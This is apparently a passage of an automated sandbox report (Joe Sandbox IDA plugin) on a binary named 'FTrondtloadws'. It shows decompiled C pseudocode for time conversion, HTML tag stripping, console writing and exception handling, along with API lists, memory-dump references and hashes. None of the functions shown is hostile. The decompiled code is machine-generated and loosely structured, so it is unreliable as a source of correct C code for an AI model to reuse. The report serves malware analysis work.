				struct _SYSTEMTIME _v16;
				struct _SYSTEMTIME _v32;
				struct _SYSTEMTIME _v48;
				struct _FILETIME _v56;
				struct _FILETIME _v64;
				intOrPtr* _v68;
				struct _FILETIME _v76;
				intOrPtr _v80;
				signed int _t78;
				long _t82;
				signed int _t87;
				signed int _t92;
				void* _t93;
				long _t94;
				signed int _t96;
				intOrPtr* _t97;
				intOrPtr* _t98;
				signed int* _t99;
				void* _t100;
				signed int _t101;

				_t100 = __ebp;
				_t94 = __edx;
				_t97 = __ecx;
				_v68 = __ecx;
				_v80 = E00CDFF10( *__ecx,  *((intOrPtr*)(__ecx + 4)), 0x64, 0);
				_v76.dwLowDateTime = _t94;
				if(E00CCC5F9() >= 0x600) {
					FileTimeToSystemTime( &_v64,  &_v32);
					SystemTimeToTzSpecificLocalTime(0,  &_v32,  &_v16);
					SystemTimeToFileTime( &_v16,  &_v76);
					SystemTimeToFileTime( &_v32,  &_v56);
					asm("sbb ecx, [esp+0x24]");
					asm("sbb ecx, ebx");
					asm("adc ecx, ebx");
					_v76.dwLowDateTime = 0 - _v56.dwLowDateTime + _v76.dwLowDateTime + _v64.dwLowDateTime;
					asm("adc ecx, ebx");
					_v76.dwHighDateTime = _v76.dwHighDateTime + _v64.dwHighDateTime;
				} else {
					FileTimeToLocalFileTime( &_v64,  &_v76);
				}
				_push(_t100);
				FileTimeToSystemTime( &_v76,  &_v48);
				_t99 = _a4;
				_t92 = _v48.wDay & 0x0000ffff;
				_t101 = _v48.wMonth & 0x0000ffff;
				_t95 = _v48.wYear & 0x0000ffff;
				_t99[3] = _v48.wHour & 0x0000ffff;
				_t87 = _t92 - 1;
				_t99[4] = _v48.wMinute & 0x0000ffff;
				_t99[5] = _v48.wSecond & 0x0000ffff;
				_t99[7] = _v48.wDayOfWeek & 0x0000ffff;
				 *_t99 = _v48.wYear & 0x0000ffff;
				_t99[1] = _t101;
				_t99[2] = _t92;
				_t99[8] = _t87;
				_v76.dwLowDateTime = 1;
				if(_t101 > 1) {
					_t96 = _t87;
					_t98 = 0xd001a8;
					_t93 = 4;
					while(1) {
						_t87 = _t96;
						if(_t93 > 0x30) {
							break;
						}
						_t93 = _t93 + 4;
						_t87 =  *_t98 + _t96;
						_t82 = _v76.dwLowDateTime + 1;
						_t99[8] = _t87;
						_t98 = _t98 + 4;
						_v76.dwLowDateTime = _t82;
						_t96 = _t87;
						if(_t82 < _t101) {
							continue;
						}
						break;
					}
					_t97 = _v68;
					_t95 = _v48.wYear & 0x0000ffff;
				}
				if(_t101 > 2 && E00CD26A3(_t95) != 0) {
					_t99[8] = _t87 + 1;
				}
				_t78 = E00CE0300( *_t97,  *((intOrPtr*)(_t97 + 4)), 0x3b9aca00, 0);
				_t99[6] = _t78;
				return _t78;
			}

0x00cd2508
0x00cd2508
0x00cd250e
0x00cd2515
0x00cd2523
0x00cd2527
0x00cd2535
0x00cd2553
0x00cd2564
0x00cd2574
0x00cd2584
0x00cd2596
0x00cd259e
0x00cd25a4
0x00cd25aa
0x00cd25ae
0x00cd25b0
0x00cd2537
0x00cd2541
0x00cd2541
0x00cd25b4
0x00cd25bf
0x00cd25c5
0x00cd25ce
0x00cd25d3
0x00cd25d8
0x00cd25dd
0x00cd25e5
0x00cd25e8
0x00cd25f0
0x00cd25f8
0x00cd25fe
0x00cd2600
0x00cd2603
0x00cd2606
0x00cd2609
0x00cd260f
0x00cd2613
0x00cd2615
0x00cd261a
0x00cd261b
0x00cd261b
0x00cd2620
0x00000000
0x00000000
0x00cd2624
0x00cd262b
0x00cd262d
0x00cd262e
0x00cd2631
0x00cd2634
0x00cd2638
0x00cd263c
0x00000000
0x00000000
0x00000000
0x00cd263c
0x00cd263e
0x00cd2642
0x00cd2642
0x00cd264b
0x00cd265a
0x00cd265a
0x00cd2669
0x00cd266f
0x00cd2677

APIs

__aulldiv.LIBCMT ref: 00CD251E

Part of subcall function 00CCC5F9: GetVersionExW.KERNEL32(?), ref: 00CCC61E

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,00000001), ref: 00CD2541
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,00000001), ref: 00CD2553
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00CD2564
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD2574
SystemTimeToFileTime.KERNEL32(?,?), ref: 00CD2584
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00CD25BF
__aullrem.LIBCMT ref: 00CD2669

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion__aulldiv__aullrem
String ID:
API String ID: 1247370737-0
Opcode ID: 771592ba6dd2be2fcc99aa170bdb48b7474f32cfe0cb2b90e25e6bf083d76445
Instruction ID: 6878b90d2d08fc97344a719ddfcc32ff782c3b19fbf6053c9a7e8ddeeb1bddeb
Opcode Fuzzy Hash: 771592ba6dd2be2fcc99aa170bdb48b7474f32cfe0cb2b90e25e6bf083d76445
Instruction Fuzzy Hash: C14117B1508345AFC714DF65D880A6FBBE9FF98314F00892EF696C2250E734E54ADB62

Uniqueness

Uniqueness Score: -1.00%

Function 00CDACEE Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E00CDACEE(void* __eflags, signed short* _a4) {
				signed int* _v4;
				intOrPtr _v8;
				void* __ecx;
				signed int* _t17;
				signed int _t18;
				void* _t21;
				void* _t22;
				void* _t24;
				signed short _t25;
				void* _t26;
				signed int _t27;
				signed int _t28;
				signed short* _t29;
				void* _t30;
				signed int _t31;
				signed int _t32;
				void* _t33;
				signed int _t36;
				void* _t38;
				signed int _t42;
				signed int _t43;
				signed int _t44;
				signed short _t45;
				signed int _t47;
				short _t49;
				signed int _t50;
				signed int _t51;
				signed int _t52;
				signed short* _t53;
				signed int* _t55;
				short* _t56;
				short* _t57;
				signed short* _t58;
				signed int* _t59;
				intOrPtr _t60;
				signed int* _t77;

				_t58 = _a4;
				_push(2 + E00CE4DF3(_t58) * 2);
				_t17 = E00CE73B6(_t38);
				_t59 = _t17;
				_v4 = _t59;
				if(_t59 == 0) {
					return _t17;
				}
				_t18 = E00CDA53A(_t58);
				_t42 =  *_t58 & 0x0000ffff;
				_t36 = _t18;
				_t55 = _t59;
				if(_t42 == 0) {
					L47:
					return _t59;
				} else {
					_push(0xd);
					_push(0x20);
					_v8 = 0x3e;
					do {
						_t43 = _t42 & 0x0000ffff;
						while(_t43 != 0x3c) {
							if(_t36 == 0) {
								L11:
								_t36 = 0;
								__eflags = 0;
								if(0 == 0) {
									L20:
									_t27 =  *_t58 & 0x0000ffff;
									__eflags = _t27;
									if(__eflags == 0) {
										L27:
										_t28 =  *_t58 & 0x0000ffff;
										_t52 = 0x20;
										_t43 = _t28;
										_t72 = _t28;
										_t26 = 0xd;
										if(_t28 != 0) {
											continue;
										}
										break;
									}
									__eflags = _t27 - _t52;
									if(__eflags != 0) {
										L24:
										 *_t55 = _t27;
										L25:
										_t55 =  &(_t55[0]);
										L26:
										_t58 =  &(_t58[1]);
										goto L27;
									}
									__eflags = _t55 - _t59;
									if(__eflags == 0) {
										goto L24;
									}
									__eflags =  *((intOrPtr*)(_t55 - 2)) - _t52;
									if(__eflags == 0) {
										goto L26;
									}
									goto L24;
								}
								__eflags = _t43 - 0x26;
								if(_t43 != 0x26) {
									goto L20;
								}
								_t29 = 0;
								__eflags = 0;
								do {
									_t53 = _t29 + _t58;
									_t47 =  *_t53 & 0x0000ffff;
									__eflags = _t47;
									if(_t47 == 0) {
										break;
									}
									__eflags = _t47 - 0x3b;
									if(_t47 == 0x3b) {
										_t8 =  &(_t53[1]); // 0x22
										_t58 = _t8;
										_t36 = 1;
									}
									_t29 = _t29 + 2;
									__eflags = _t29 - 0x28;
								} while (_t29 < 0x28);
								__eflags = _t36;
								if(__eflags != 0) {
									goto L27;
								}
								_t52 = 0x20;
								goto L20;
							}
							if(_t43 == _t26) {
								L8:
								if(_t55 == _t59 ||  *((intOrPtr*)(_t55 - 2)) != _t52) {
									 *_t55 = _t52;
									goto L25;
								} else {
									goto L26;
								}
							}
							_t30 = 0xa;
							if(_t43 != _t30) {
								goto L11;
							}
							goto L8;
						}
						_t21 = E00CD3308(_t72, _t58, L"</p>", 4);
						_t36 = _t36 & 0xffffff00 | _t21 == 0x00000000;
						_t74 = _t21;
						if(_t21 == 0 || E00CD3308(_t74, _t58, L"<br>", 4) == 0) {
							_t44 = 0xd;
							_t22 = 2;
							 *_t55 = _t44;
							_t56 = _t55 + _t22;
							_t49 = 0xa;
							 *_t56 = _t49;
							_t55 = _t56 + _t22;
							if(_t36 != 0) {
								 *_t55 = _t44;
								_t57 = _t55 + _t22;
								 *_t57 = _t49;
								_t55 = _t57 + _t22;
								_t77 = _t55;
							}
						}
						 *_t55 = 0;
						_t24 = E00CD3308(_t77, _t58, L"<style>", 7);
						_t45 =  *_t58 & 0x0000ffff;
						_t50 = _t45;
						if(_t24 != 0) {
							_t51 = _t45;
							__eflags = _t45;
							if(_t45 == 0) {
								L44:
								_t25 = _t51 & 0x0000ffff;
								__eflags = _t51 - _v8;
								if(__eflags == 0) {
									_t58 =  &(_t58[1]);
									__eflags = _t58;
									_t25 =  *_t58 & 0x0000ffff;
								}
								goto L46;
							}
							_t60 = _v8;
							while(1) {
								_t51 = _t45 & 0x0000ffff;
								__eflags = _t45 - _t60;
								if(_t45 == _t60) {
									break;
								}
								_t58 =  &(_t58[1]);
								_t31 =  *_t58 & 0x0000ffff;
								_t45 = _t31;
								_t51 = _t31;
								__eflags = _t31;
								if(_t31 != 0) {
									continue;
								}
								break;
							}
							_t59 = _v4;
							goto L44;
						} else {
							_t32 = _t50;
							_t79 = _t45;
							if(_t45 == 0) {
								L38:
								_t25 = _t32 & 0x0000ffff;
								goto L46;
							} else {
								goto L34;
							}
							while(1) {
								L34:
								_t33 = E00CD3308(_t79, _t58, L"</style>", 8);
								_t58 =  &(_t58[1]);
								if(_t33 == 0) {
									break;
								}
								_t32 =  *_t58 & 0x0000ffff;
								if(_t32 != 0) {
									continue;
								}
								goto L38;
							}
							_t58 =  &(_t58[7]);
							__eflags = _t58;
							_t32 =  *_t58 & 0x0000ffff;
							goto L38;
						}
						L46:
						_t52 = 0x20;
						_t42 = _t25 & 0x0000ffff;
						_t26 = 0xd;
					} while (_t25 != 0);
					goto L47;
				}
			}

0x00cdacf2
0x00cdad06
0x00cdad07
0x00cdad0c
0x00cdad0e
0x00cdad16
0x00cdaebb
0x00cdaebb
0x00cdad20
0x00cdad25
0x00cdad28
0x00cdad2a
0x00cdad2f
0x00cdaeb3
0x00000000
0x00cdad35
0x00cdad35
0x00cdad38
0x00cdad3b
0x00cdad43
0x00cdad43
0x00cdad46
0x00cdad52
0x00cdad70
0x00cdad70
0x00cdad72
0x00cdad74
0x00cdada2
0x00cdada2
0x00cdada5
0x00cdada8
0x00cdadc2
0x00cdadc2
0x00cdadc7
0x00cdadca
0x00cdadcc
0x00cdadcf
0x00cdadd0
0x00000000
0x00000000
0x00000000
0x00cdadd0
0x00cdadaa
0x00cdadad
0x00cdadb9
0x00cdadb9
0x00cdadbc
0x00cdadbc
0x00cdadbf
0x00cdadbf
0x00000000
0x00cdadbf
0x00cdadaf
0x00cdadb1
0x00000000
0x00000000
0x00cdadb3
0x00cdadb7
0x00000000
0x00000000
0x00000000
0x00cdadb7
0x00cdad76
0x00cdad7a
0x00000000
0x00000000
0x00cdad7c
0x00cdad7c
0x00cdad7e
0x00cdad7e
0x00cdad81
0x00cdad84
0x00cdad87
0x00000000
0x00000000
0x00cdad89
0x00cdad8c
0x00cdad8e
0x00cdad8e
0x00cdad91
0x00cdad91
0x00cdad93
0x00cdad96
0x00cdad96
0x00cdad9b
0x00cdad9d
0x00000000
0x00000000
0x00cdada1
0x00000000
0x00cdada1
0x00cdad57
0x00cdad61
0x00cdad63
0x00cdad6b
0x00000000
0x00000000
0x00000000
0x00000000
0x00cdad63
0x00cdad5b
0x00cdad5f
0x00000000
0x00000000
0x00000000
0x00cdad5f
0x00cdadde
0x00cdade5
0x00cdade8
0x00cdadea
0x00cdadff
0x00cdae02
0x00cdae03
0x00cdae06
0x00cdae0a
0x00cdae0b
0x00cdae0e
0x00cdae12
0x00cdae14
0x00cdae17
0x00cdae19
0x00cdae1c
0x00cdae1c
0x00cdae1c
0x00cdae12
0x00cdae28
0x00cdae2b
0x00cdae30
0x00cdae33
0x00cdae37
0x00cdae6b
0x00cdae6d
0x00cdae70
0x00cdae91
0x00cdae91
0x00cdae94
0x00cdae99
0x00cdae9b
0x00cdae9b
0x00cdae9e
0x00cdae9e
0x00000000
0x00cdae99
0x00cdae72
0x00cdae76
0x00cdae76
0x00cdae79
0x00cdae7c
0x00000000
0x00000000
0x00cdae7e
0x00cdae81
0x00cdae84
0x00cdae86
0x00cdae88
0x00cdae8b
0x00000000
0x00000000
0x00000000
0x00cdae8b
0x00cdae8d
0x00000000
0x00cdae39
0x00cdae39
0x00cdae3b
0x00cdae3e
0x00cdae66
0x00cdae66
0x00000000
0x00000000
0x00000000
0x00000000
0x00cdae40
0x00cdae40
0x00cdae48
0x00cdae4d
0x00cdae52
0x00000000
0x00000000
0x00cdae54
0x00cdae5c
0x00000000
0x00000000
0x00000000
0x00cdae5e
0x00cdae60
0x00cdae60
0x00cdae63
0x00000000
0x00cdae63
0x00cdaea1
0x00cdaea3
0x00cdaea6
0x00cdaeac
0x00cdaeac
0x00000000
0x00cdad43

APIs

_wcslen.LIBCMT ref: 00CDACFA

Strings

>, xrefs: 00CDAD3B
<br>, xrefs: 00CDADEE
<style>, xrefs: 00CDAE20
</style>, xrefs: 00CDAE42
</p>, xrefs: 00CDADD8

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: _wcslen
String ID: </p>$</style>$<br>$<style>$>
API String ID: 176396367-3568243669
Opcode ID: b721d81205de3af4deb90e65a0def9f3cb05e94a1e3ed39378e04dd0593c58f2
Instruction ID: 0005eb952ed2547db4bc41b7c03af4a765d7f451b61749d8561502d5d02fb5eb
Opcode Fuzzy Hash: b721d81205de3af4deb90e65a0def9f3cb05e94a1e3ed39378e04dd0593c58f2
Instruction Fuzzy Hash: 5751256674076395DB306A15881277673E2DFA4751F68042BFFD18BBC0FB658F818263

Uniqueness

Uniqueness Score: -1.00%

Function 00CF069D Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E00CF069D(intOrPtr* _a4, signed int _a8, signed char* _a12, intOrPtr _a16) {
				signed int _v8;
				signed char _v15;
				char _v16;
				void _v24;
				short _v28;
				char _v31;
				void _v32;
				long _v36;
				intOrPtr _v40;
				void* _v44;
				signed int _v48;
				signed char* _v52;
				long _v56;
				int _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t78;
				signed int _t80;
				int _t86;
				void* _t92;
				void* _t94;
				long _t97;
				void _t105;
				void* _t112;
				signed int _t115;
				signed int _t117;
				signed char _t122;
				signed char _t127;
				signed int _t128;
				signed char* _t129;
				intOrPtr* _t130;
				signed int _t131;
				void* _t132;

				_t78 =  *0xd007a8; // 0x763902cb
				_v8 = _t78 ^ _t131;
				_t80 = _a8;
				_t117 = _t80 >> 6;
				_t115 = (_t80 & 0x0000003f) * 0x30;
				_t129 = _a12;
				_v52 = _t129;
				_v48 = _t117;
				_v44 =  *((intOrPtr*)( *((intOrPtr*)(0xd242c0 + _t117 * 4)) + _t115 + 0x18));
				_v40 = _a16 + _t129;
				_t86 = GetConsoleCP();
				_t130 = _a4;
				_v60 = _t86;
				 *_t130 = 0;
				 *((intOrPtr*)(_t130 + 4)) = 0;
				 *((intOrPtr*)(_t130 + 8)) = 0;
				while(_t129 < _v40) {
					_v28 = 0;
					_v31 =  *_t129;
					_t128 =  *(0xd242c0 + _v48 * 4);
					_t122 =  *(_t128 + _t115 + 0x2d);
					if((_t122 & 0x00000004) == 0) {
						_t92 = E00CEB777(_t115, _t128);
						_t128 = 0x8000;
						if(( *(_t92 + ( *_t129 & 0x000000ff) * 2) & 0x00008000) == 0) {
							_push(1);
							_push(_t129);
							goto L8;
						} else {
							if(_t129 >= _v40) {
								_t128 = _v48;
								 *((char*)( *((intOrPtr*)(0xd242c0 + _t128 * 4)) + _t115 + 0x2e)) =  *_t129;
								 *( *((intOrPtr*)(0xd242c0 + _t128 * 4)) + _t115 + 0x2d) =  *( *((intOrPtr*)(0xd242c0 + _t128 * 4)) + _t115 + 0x2d) | 0x00000004;
								 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 4)) + 1;
							} else {
								_t112 = E00CEA7EE( &_v28, _t129, 2);
								_t132 = _t132 + 0xc;
								if(_t112 != 0xffffffff) {
									_t129 =  &(_t129[1]);
									goto L9;
								}
							}
						}
					} else {
						_t127 = _t122 & 0x000000fb;
						_v16 =  *((intOrPtr*)(_t128 + _t115 + 0x2e));
						_push(2);
						_v15 = _t127;
						 *(_t128 + _t115 + 0x2d) = _t127;
						_push( &_v16);
						L8:
						_push( &_v28);
						_t94 = E00CEA7EE();
						_t132 = _t132 + 0xc;
						if(_t94 != 0xffffffff) {
							L9:
							_t129 =  &(_t129[1]);
							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t130 = GetLastError();
								} else {
									_t48 = _t130 + 8; // 0xff76e900
									 *((intOrPtr*)(_t130 + 4)) =  *_t48 - _v52 + _t129;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t130 + 8)) =  *((intOrPtr*)(_t130 + 8)) + 1;
													 *((intOrPtr*)(_t130 + 4)) =  *((intOrPtr*)(_t130 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E00CE0BCC(_t130, _t115, _v8 ^ _t131, _t128, _t129, _t130);
			}

0x00cf06a5
0x00cf06ac
0x00cf06af
0x00cf06b7
0x00cf06bb
0x00cf06c7
0x00cf06ca
0x00cf06cd
0x00cf06d4
0x00cf06dc
0x00cf06df
0x00cf06e5
0x00cf06eb
0x00cf06f0
0x00cf06f2
0x00cf06f5
0x00cf06fa
0x00cf0704
0x00cf070b
0x00cf070e
0x00cf0715
0x00cf071c
0x00cf0737
0x00cf073f
0x00cf0748
0x00cf076e
0x00cf0770
0x00000000
0x00cf074a
0x00cf074d
0x00cf0814
0x00cf0820
0x00cf082b
0x00cf0830
0x00cf0753
0x00cf075a
0x00cf075f
0x00cf0765
0x00cf076b
0x00000000
0x00cf076b
0x00cf0765
0x00cf074d
0x00cf071e
0x00cf0722
0x00cf0725
0x00cf072b
0x00cf072d
0x00cf0730
0x00cf0734
0x00cf0771
0x00cf0774
0x00cf0775
0x00cf077a
0x00cf0780
0x00cf0786
0x00cf0795
0x00cf079b
0x00cf07a1
0x00cf07a6
0x00cf07c2
0x00cf0835
0x00cf083b
0x00cf07c4
0x00cf07c4
0x00cf07cc
0x00cf07d5
0x00cf07db
0x00000000
0x00cf07dd
0x00cf07df
0x00cf07e2
0x00cf07fb
0x00000000
0x00cf07fd
0x00cf0801
0x00cf0803
0x00cf0806
0x00000000
0x00cf0806
0x00cf0801
0x00cf07fb
0x00cf07db
0x00cf07d5
0x00cf07c2
0x00cf07a6
0x00cf0780
0x00000000
0x00cf0809
0x00cf0809
0x00cf083d
0x00cf084f

APIs

GetConsoleCP.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,00CF0E12,00000000,00000000,00000000,00000000,00000000,00CE63FD), ref: 00CF06DF
__fassign.LIBCMT ref: 00CF075A
__fassign.LIBCMT ref: 00CF0775
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,00000000,00000005,00000000,00000000), ref: 00CF079B
WriteFile.KERNEL32(?,00000000,00000000,00CF0E12,00000000,?,?,?,?,?,?,?,?,?,00CF0E12,00000000), ref: 00CF07BA
WriteFile.KERNEL32(?,00000000,00000001,00CF0E12,00000000,?,?,?,?,?,?,?,?,?,00CF0E12,00000000), ref: 00CF07F3

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 224d22c37ae815ab34a05e53aed91150c25f007e04ad8cb3484f12c0ddccc804
Instruction ID: 9ef9c45ff81b797b68581995fefe0018060e0639437dc6c291fe5839b16fa412
Opcode Fuzzy Hash: 224d22c37ae815ab34a05e53aed91150c25f007e04ad8cb3484f12c0ddccc804
Instruction Fuzzy Hash: AB51A6719002499FCB10CFA8DC45BFEBBF8EF49700F24415AEA56E7292D730A941CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00CE38E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00CE38E0(void* __ebx, void* __ecx, intOrPtr __edx, void* __edi, void* __esi, void* _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v5;
				signed int _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				char _v32;
				char _t52;
				signed int _t59;
				intOrPtr _t60;
				void* _t61;
				intOrPtr* _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				intOrPtr _t67;
				intOrPtr _t72;
				intOrPtr* _t76;
				intOrPtr _t77;
				signed int _t81;
				char _t83;
				intOrPtr _t86;
				intOrPtr _t93;
				intOrPtr _t96;
				intOrPtr* _t98;
				void* _t102;
				void* _t104;
				void* _t111;

				_t89 = __edx;
				_t76 = _a4;
				_push(__edi);
				_v5 = 0;
				_v16 = 1;
				 *_t76 = E00CF3577(__ecx,  *_t76);
				_t77 = _a8;
				_t6 = _t77 + 0x10; // 0x11
				_t96 = _t6;
				_push(_t96);
				_v20 = _t96;
				_v12 =  *(_t77 + 8) ^  *0xd007a8;
				E00CE38A0(_t77, __edx, __edi, _t96,  *(_t77 + 8) ^  *0xd007a8);
				E00CE494C(_a12);
				_t52 = _a4;
				_t104 = _t102 - 0x1c + 0x10;
				_t93 =  *((intOrPtr*)(_t77 + 0xc));
				if(( *(_t52 + 4) & 0x00000066) != 0) {
					__eflags = _t93 - 0xfffffffe;
					if(_t93 != 0xfffffffe) {
						_t89 = 0xfffffffe;
						E00CE4AD0(_t77, 0xfffffffe, _t96, 0xd007a8);
						goto L13;
					}
					goto L14;
				} else {
					_v32 = _t52;
					_v28 = _a12;
					 *((intOrPtr*)(_t77 - 4)) =  &_v32;
					if(_t93 == 0xfffffffe) {
						L14:
						return _v16;
					} else {
						do {
							_t81 = _v12;
							_t59 = _t93 + (_t93 + 2) * 2;
							_t77 =  *((intOrPtr*)(_t81 + _t59 * 4));
							_t60 = _t81 + _t59 * 4;
							_t82 =  *((intOrPtr*)(_t60 + 4));
							_v24 = _t60;
							if( *((intOrPtr*)(_t60 + 4)) == 0) {
								_t83 = _v5;
								goto L7;
							} else {
								_t89 = _t96;
								_t61 = E00CE4A70(_t82, _t96);
								_t83 = 1;
								_v5 = 1;
								_t111 = _t61;
								if(_t111 < 0) {
									_v16 = 0;
									L13:
									_push(_t96);
									E00CE38A0(_t77, _t89, _t93, _t96, _v12);
									goto L14;
								} else {
									if(_t111 > 0) {
										_t62 = _a4;
										__eflags =  *_t62 - 0xe06d7363;
										if( *_t62 == 0xe06d7363) {
											__eflags =  *0xcf6970;
											if(__eflags != 0) {
												_t72 = E00CF30A0(__eflags, 0xcf6970);
												_t104 = _t104 + 4;
												__eflags = _t72;
												if(_t72 != 0) {
													_t98 =  *0xcf6970; // 0xce36e0
													 *0xcf4278(_a4, 1);
													 *_t98();
													_t96 = _v20;
													_t104 = _t104 + 8;
												}
												_t62 = _a4;
											}
										}
										_t90 = _t62;
										E00CE4AB0(_t62, _a8, _t62);
										_t64 = _a8;
										__eflags =  *((intOrPtr*)(_t64 + 0xc)) - _t93;
										if( *((intOrPtr*)(_t64 + 0xc)) != _t93) {
											_t90 = _t93;
											E00CE4AD0(_t64, _t93, _t96, 0xd007a8);
											_t64 = _a8;
										}
										_push(_t96);
										 *((intOrPtr*)(_t64 + 0xc)) = _t77;
										E00CE38A0(_t77, _t90, _t93, _t96, _v12);
										_t86 =  *((intOrPtr*)(_v24 + 8));
										E00CE4A90();
										asm("int3");
										_t66 = E00CE4AE7();
										__eflags = _t66;
										if(_t66 != 0) {
											_t67 = E00CE3B6C(_t86);
											__eflags = _t67;
											if(_t67 != 0) {
												return 1;
											} else {
												E00CE4B23();
												goto L24;
											}
										} else {
											L24:
											__eflags = 0;
											return 0;
										}
									} else {
										goto L7;
									}
								}
							}
							goto L28;
							L7:
							_t93 = _t77;
						} while (_t77 != 0xfffffffe);
						if(_t83 != 0) {
							goto L13;
						}
						goto L14;
					}
				}
				L28:
			}

0x00ce38e0
0x00ce38e7
0x00ce38eb
0x00ce38ec
0x00ce38f2
0x00ce38fe
0x00ce3900
0x00ce3906
0x00ce3906
0x00ce390f
0x00ce3911
0x00ce3914
0x00ce3917
0x00ce391f
0x00ce3924
0x00ce3927
0x00ce392a
0x00ce3931
0x00ce398d
0x00ce3990
0x00ce3998
0x00ce399f
0x00000000
0x00ce399f
0x00000000
0x00ce3933
0x00ce3933
0x00ce3939
0x00ce393f
0x00ce3945
0x00ce39b0
0x00ce39b9
0x00ce3947
0x00ce3947
0x00ce3947
0x00ce394d
0x00ce3950
0x00ce3953
0x00ce3956
0x00ce3959
0x00ce395e
0x00ce3974
0x00000000
0x00ce3960
0x00ce3960
0x00ce3962
0x00ce3967
0x00ce3969
0x00ce396c
0x00ce396e
0x00ce3984
0x00ce39a4
0x00ce39a4
0x00ce39a8
0x00000000
0x00ce3970
0x00ce3970
0x00ce39ba
0x00ce39bd
0x00ce39c3
0x00ce39c5
0x00ce39cc
0x00ce39d3
0x00ce39d8
0x00ce39db
0x00ce39dd
0x00ce39df
0x00ce39ec
0x00ce39f2
0x00ce39f4
0x00ce39f7
0x00ce39f7
0x00ce39fa
0x00ce39fa
0x00ce39cc
0x00ce3a00
0x00ce3a02
0x00ce3a07
0x00ce3a0a
0x00ce3a0d
0x00ce3a15
0x00ce3a19
0x00ce3a1e
0x00ce3a1e
0x00ce3a21
0x00ce3a25
0x00ce3a28
0x00ce3a35
0x00ce3a38
0x00ce3a3d
0x00ce3a3e
0x00ce3a43
0x00ce3a45
0x00ce3a4a
0x00ce3a4f
0x00ce3a51
0x00ce3a5c
0x00ce3a53
0x00ce3a53
0x00000000
0x00ce3a53
0x00ce3a47
0x00ce3a47
0x00ce3a47
0x00ce3a49
0x00ce3a49
0x00ce3972
0x00000000
0x00ce3972
0x00ce3970
0x00ce396e
0x00000000
0x00ce3977
0x00ce3977
0x00ce3979
0x00ce3980
0x00000000
0x00ce3982
0x00000000
0x00ce3980
0x00ce3945
0x00000000

APIs

_ValidateLocalCookies.LIBCMT ref: 00CE3917
